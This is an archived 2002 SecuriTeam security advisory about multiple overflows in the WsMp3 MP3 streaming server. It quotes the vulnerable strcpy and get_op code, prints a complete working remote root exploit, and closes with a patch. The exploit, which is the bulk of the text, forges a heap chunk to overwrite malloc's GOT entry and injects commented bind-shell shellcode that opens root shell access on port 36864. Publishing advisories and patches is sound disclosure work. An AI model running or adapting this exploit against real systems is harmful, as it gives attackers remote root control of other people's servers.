[NT] Remote Heap malloc/free and Multiple Overflow Vulnerability in WSMP3

From: support@securiteam.com
Date: 12/05/02

  • Next message: support@securiteam.com: "[UNIX] Apache/Tomcat Denial of Service and Information Leakage Vulnerability"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 5 Dec 2002 23:57:10 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Remote Heap malloc/free and Multiple Overflow Vulnerability in WSMP3
    ------------------------------------------------------------------------

    SUMMARY

    WsMp3, also known as "Web_servert", is a streaming MP3 server for
    Unix-based operating systems written by Mirko De Grandis. WsMp3 versions
    0.0.6 and earlier are vulnerable to multiple buffer overflows in the
    web_server.c file. A remote attacker could exploit one of these buffer
    overflows to execute arbitrary code on the system with privileges of the
    Web server process.

    DETAILS

    Vulnerable systems:
     * WSMP server version 0.0.6 and prior

    Vulnerable code:
    main() function:
      __
      1360 int main(int argc, char *argv[],char *envp[])
            ...
      1363 char recvBuffer[BUFSIZE]; // 32768
            ...
      1526 i=recv(sock,recvBuffer,BUFSIZE,0);
            ...
      1592 conn_req=parse_request(recvBuffer); // parse_request();
      --

    parse_request() function:
       __
       560 req_descriptor* parse_request(char *req)
            ...
       563 char reqcpy[1024]; // 1024 ??
            ...
       572 strcpy(reqcpy,req); // Overflow of stack base gets up.
       573 ritorno->action=get_op(reqcpy); // get_op();
            ...
       575 strcpy(reqcpy,req);
            :
            :
       --

    get_op() function:
       --
       671 char* get_op(char *buf)
            ...
       673 char* op;
       674 int i;
       675 if((op=(char *)malloc(10))==NULL)
            ...
       684 while(buf[i]!=' ')
       685 {
       686 op[i]=buf[i]; // This part is very dangerous.
       687 i++;
       688 }
       689 op[i]='\0';
            ...
       692 return op;
       --

    Exploit:
    /*
    **
    ** Proof of Concept WSMP3 Remote root exploit
    ** by Xpl017Elz
    ** __
    ** Testing exploit:
    **
    ** bash$ ./0x82-Remote.wsmp3xpl -h localhost -p 8000
    **
    ** Proof of Concept WSMP3 Remote root exploit
    ** by Xpl017Elz
    **
    ** Try `./0x82-Remote.wsmp3xpl -?' for more information.
    **
    ** [1] Make fake chunk.
    ** [2] Make shellcode.
    ** [3] Send exploit (bindshell) code.
    ** [4] Waiting, executes the shell !
    ** [5] Trying localhost:36864 ...
    ** [6] Connected to localhost:36864 !
    **
    ** [*] Executed shell successfully !
    **
    ** Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686
    unknown
    ** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
    ** 6(disk),10(wheel)
    ** bash#
    **
    ** GOT malloc address:
    **
    ** bash$ objdump --dynamic-reloc web_server | grep malloc
    ** 08051bac R_386_JUMP_SLOT malloc
    ** bash$
    **
    ** --
    ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
    ** My World: http://x82.i21c.net & http://x82.inetcop.org
    **
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <getopt.h>
    #include <netdb.h>
    #include <netinet/in.h>

    #define HOST "localhost"
    #define PORT 8000

    struct op_st
    {
        int num;
        char *os;
        unsigned long retloc;
        unsigned long stkaddr;
        unsigned long retaddr;
    }; /* only test */
    struct op_st pl_form[]={
        {
    0,
    "RedHat Linux",
    /* malloc */
    0x08051bac,
    /* stack address */
    0xbfff7d18,
    /* heap address */
    0x0805b062
        }
    };

    int setsock(char *hostname,int port);
    void getshell(int sock);
    void re_conenter(int sock);
    void banrl(char *args);
    void usage(char *args);

    int setsock(char *hostname,int port)
    {
        int sock;
        struct hostent *sxp;
        struct sockaddr_in sxp_addr;
        
        if((sxp=gethostbyname(hostname))==NULL)
        {
    herror("gethostbyname() error");
    return(-1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
    perror("socket() error");
    return(-1);
        }
        
        sxp_addr.sin_family=AF_INET;
        sxp_addr.sin_port=htons(port);
        sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
        bzero(&(sxp_addr.sin_zero),8);
        
        if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct
    sockaddr))==-1)
        {
    perror("connect() error");
    return(-1);
        }
        
        return(sock);
    }

    void getshell(int sock)
    {
        int died;
        char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
        char readbuf[1024];
        fd_set rset;
        
        memset(readbuf,0x00,1024);
        
        fprintf(stdout," [*] Executed shell successfully !\n\n");
        send(sock,command,strlen(command),0);
        
        for(;;)
        {
    fflush(stdout);
    FD_ZERO(&rset);
    FD_SET(sock,&rset);
    FD_SET(STDIN_FILENO,&rset);
    select(sock+1,&rset,NULL,NULL,NULL);

    if(FD_ISSET(sock,&rset))
    {
        died=read(sock,readbuf,1024);
        if(died<=0)
        {
    exit(0);
        }
        readbuf[died]=0;
        printf("%s",readbuf);
    }
    if(FD_ISSET(STDIN_FILENO,&rset))
    {
        died=read(STDIN_FILENO,readbuf,1024);
        if(died>0)
        {
    readbuf[died]=0;
    write(sock,readbuf,died);
        }
    }
        }
        return;
    }

    void re_conenter(int sock)
    {
        if(sock==-1)
        {
    fprintf(stdout," [-] Failed.\n\n");
    fprintf(stdout," Happy Exploit ! :-)\n\n");
    exit(-1);
        }
    }

    int main(int argc,char *argv[])
    {
        int at_sock;
        int ts_sock;
        int port=PORT;
        int roup;
        char ttatk_code[36864];
        char hostname[0x82]=HOST;
        char main_str[] = /* BIND SHELL ON PORT TCP/36864 */
    //------------------- main: -------------------//
    "\xeb\x72" /* jmp callz */
    //------------------- start: ------------------//
    "\x5e" /* popl %esi */
    //------------------ socket() -----------------//
    "\x29\xc0" /* subl %eax, %eax */
    "\x89\x46\x10" /* movl %eax, 0x10(%esi) */
    "\x40" /* incl %eax */
    "\x89\xc3" /* movl %eax, %ebx */
    "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
    "\x40" /* incl %eax */
    "\x89\x46\x08" /* movl %eax, 0x08(%esi) */
    "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
    "\xb0\x66" /* movb $0x66, %al */
    "\xcd\x80" /* int $0x80 */
    //------------------- bind() ------------------//
    "\x43" /* incl %ebx */
    "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */
    "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */
    "\x88\x46\x08" /* movb %al, 0x08(%esi) */
    "\x29\xc0" /* subl %eax, %eax */
    "\x89\xc2" /* movl %eax, %edx */
    "\x89\x46\x18" /* movl %eax, 0x18(%esi) */
    "\xb0\x90" /* movb $0x90, %al */
    "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */
    "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */
    "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */
    "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
    "\xb0\x66" /* movb $0x66, %al */
    "\xcd\x80" /* int $0x80 */
    //------------------ listen() -----------------//
    "\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
    "\x43" /* incl %ebx */
    "\x43" /* incl %ebx */
    "\xb0\x66" /* movb $0x66, %al */
    "\xcd\x80" /* int $0x80 */
    //------------------ accept() -----------------//
    "\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
    "\x89\x56\x10" /* movl %edx, 0x10(%esi) */
    "\xb0\x66" /* movb $0x66, %al */
    "\x43" /* incl %ebx */
    "\xcd\x80" /* int $0x80 */
    //---- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
    "\x86\xc3" /* xchgb %al, %bl */
    "\xb0\x3f" /* movb $0x3f, %al */
    "\x29\xc9" /* subl %ecx, %ecx */
    "\xcd\x80" /* int $0x80 */
    "\xb0\x3f" /* movb $0x3f, %al */
    "\x41" /* incl %ecx */
    "\xcd\x80" /* int $0x80 */
    "\xb0\x3f" /* movb $0x3f, %al */
    "\x41" /* incl %ecx */
    "\xcd\x80" /* int $0x80 */
    //------------------ execve() -----------------//
    "\x88\x56\x07" /* movb %dl, 0x07(%esi) */
    "\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
    "\x87\xf3" /* xchgl %esi, %ebx */
    "\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
    "\xb0\x0b" /* movb $0x0b, %al */
    "\xcd\x80" /* int $0x80 */
    //------------------- callz: ------------------//
    "\xe8\x89\xff\xff\xff" /* call start */
    "/bin/sh"; /* 128byte */

    #define plus_4str(x0x) x0x+=4
        int x0x_num=0;
        int x0x_size=0;
    #define BUF_LEN 1024
        char *debug_test;
        char code_128len[BUF_LEN];
        char x82_16x0x[]={ /* 16byte */
    0x82,0x82,0x82,0x82,0x82,
    0x82,0x82,0x82,0x82,0x82,
    0x82,0x82,0x82,0x82,0x82,
    0x82
        };
        char nop_n_jump[4]={0x41,0xeb,0x0c,0x42};
        int nop_12jump=0;
        int ok_cont=0;
        int target_type_number=0;
        char p_rev_size[4]={0xff,0xff,0xff,0xfc}; /* chunk size */
        char size_fd[4]={0xff,0xff,0xff,0xff}; /* data section size */
        char atk_chunk[BUF_LEN];
        unsigned long retloc=pl_form[target_type_number].retloc;
        unsigned long retaddr=pl_form[target_type_number].retaddr;//.stkaddr;

        memset(ttatk_code,0x00,36864);
        memset(atk_chunk,0x00,BUF_LEN);
        memset(code_128len,0x00,BUF_LEN);
        
        (void)banrl(argv[0]);
        while((roup=getopt(argc,argv,"R:r:S:s:H:h:P:p:"))!=EOF)
        {
    switch(roup)
    {
        case 'R':
        case 'r':
    retloc=strtoul(optarg,NULL,0);
    break;

        case 'S':
        case 's':
    retaddr=strtoul(optarg,NULL,0);
    break;

        case 'H':
        case 'h':
    memset(hostname,0x00,0x82);
    strncpy(hostname,optarg,0x82);
    break;

        case 'P':
        case 'p':
    port=atoi(optarg);
    break;

        case '?':
    (void)usage(argv[0]);
    break;
    }
        }

        //--- make fake chunk ---//
        fprintf(stdout," [1] Make fake chunk.\n");
        for(x0x_num=0;x0x_num<strlen(x82_16x0x);x0x_num++)
    atk_chunk[x0x_num]=x82_16x0x[x0x_num];
        *(long*)&atk_chunk[x0x_num]=0xfffffffc; // prev_size
        plus_4str(x0x_num);
        *(long*)&atk_chunk[x0x_num]=0xffffffff; // size(P)
        plus_4str(x0x_num);
        *(long*)&atk_chunk[x0x_num]=retloc-0x0c; // Forward pointer
        plus_4str(x0x_num);
        *(long*)&atk_chunk[x0x_num]=retaddr; // Back pointer
        plus_4str(x0x_num);

        //--- make code ---//
        fprintf(stdout," [2] Make shellcode.\n");
        for(nop_12jump=0;nop_12jump<0x190;plus_4str(nop_12jump))
    *(long*)&code_128len[nop_12jump]=0x41eb0c42;
        for(x0x_num=0,ok_cont=nop_12jump;x0x_num<strlen(main_str);x0x_num++)
    code_128len[ok_cont++]=main_str[x0x_num];

        //--- fake chunk + 0x20 + (nop + 12byte jmpcode + nop + shellcode)
    ---//
        snprintf(ttatk_code,36864,
        "%s%s%s\r\n",atk_chunk,"\x20",code_128len);

        fprintf(stdout," [3] Send exploit (bindshell) code.\n");
        { // Try two times connections. It's Point. :-)
    /* 1 */
    at_sock=setsock(hostname,port);
    re_conenter(at_sock);
    send(at_sock,ttatk_code,strlen(ttatk_code),0);
    close(at_sock);
    /* 2 */
    at_sock=setsock(hostname,port);
    re_conenter(at_sock);
    send(at_sock,ttatk_code,strlen(ttatk_code),0);
        }
        fprintf(stdout," [4] Waiting, executes the shell !\n");
        sleep(3);
        fprintf(stdout," [5] Trying %s:36864 ...\n",hostname);
        /* 3 */
        ts_sock=setsock(hostname,36864);
        re_conenter(ts_sock);
        fprintf(stdout," [6] Connected to %s:36864 !\n\n",hostname);
        // Execute bash shell
        getshell(ts_sock);

    }

    void usage(char *args)
    {
        fprintf(stderr,"\n Default Usage: %s -[option] [arguments]\n\n",args);
        fprintf(stderr,"\t -h [hostname] - target host\n");
        fprintf(stderr,"\t -p [port] - port number\n");
        fprintf(stderr,"\t -r [addr] - retloc addr (GOT malloc)\n");
        fprintf(stderr,"\t -s [addr] - &shellcode addr\n");
        fprintf(stderr," Example: %s -h localhost -p 8000\n",args);
        fprintf(stdout,"\n Happy Exploit !\n\n");
        exit(0);
    }

    void banrl(char *args)
    {
        fprintf(stdout,"\n Proof of Concept WSMP3 Remote root exploit");
        fprintf(stdout,"\n by Xpl017Elz\n\n");
        fprintf(stdout," Try `%s -?' for more information.\n\n",args);
    }

    Patch:
     === web_server.patch ===

    --- web_server.c Tue Nov 12 03:30:21 2002
    +++ web_server.patch.c Mon Nov 18 12:26:28 2002
    @@ -569,51 +569,51 @@
         }
       else init_req_descriptor(ritorno);
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->action=get_op(reqcpy);
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1) ;
       else ritorno->what=nomefile(reqcpy,0);
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->host=gimme_line(reqcpy,"Host: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->agent=gimme_line(reqcpy,"User-Agent: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->accept=gimme_line(reqcpy,"Accept: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->lang=gimme_line(reqcpy,"Accept-Language: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->enc=gimme_line(reqcpy,"Accept-Encoding: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->charset=gimme_line(reqcpy,"Accept-Charset: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->keep=gimme_line(reqcpy,"Keep-Alive: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->conn=gimme_line(reqcpy,"Connection: ");
     
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->referer=gimme_line(reqcpy,"Referer: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->pragma=gimme_line(reqcpy,"Pragma: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->contType=gimme_line(reqcpy,"Content-Type: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->contLength=gimme_line(reqcpy,"Content-Length: ");
     
    - strcpy(reqcpy,req);
    + strncpy(reqcpy,req,255+15);
       ritorno->content=gimme_content(reqcpy);
       return ritorno;
     }
    @@ -671,25 +671,21 @@
     char* get_op(char *buf)
     {
       char* op;
    + char* method;
       int i;
       if((op=(char *)malloc(10))==NULL)
         {
           printf("Not enough memory!\n");
           exit(1);
         }
    - if(buf!=NULL && (strlen(buf)>=3))
    + if(buf[0]==0x20)
         {
    - //strncpy(op,buf,3);
    - i=0;
    - while(buf[i]!=' ')
    - {
    - op[i]=buf[i];
    - i++;
    - }
    - op[i]='\0';
    + buf[0]='\n';
         }
    - else op=NULL;
    - return op;
    + buf[strlen(buf)]=' ';
    + strncpy(op,buf,10-1);
    + method=(char*)strtok(op," ");
    + return method;
     }

    ADDITIONAL INFORMATION

    The information has been provided by X-Force and
    <mailto:xploit@hackermail.com> dong-h0un U.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages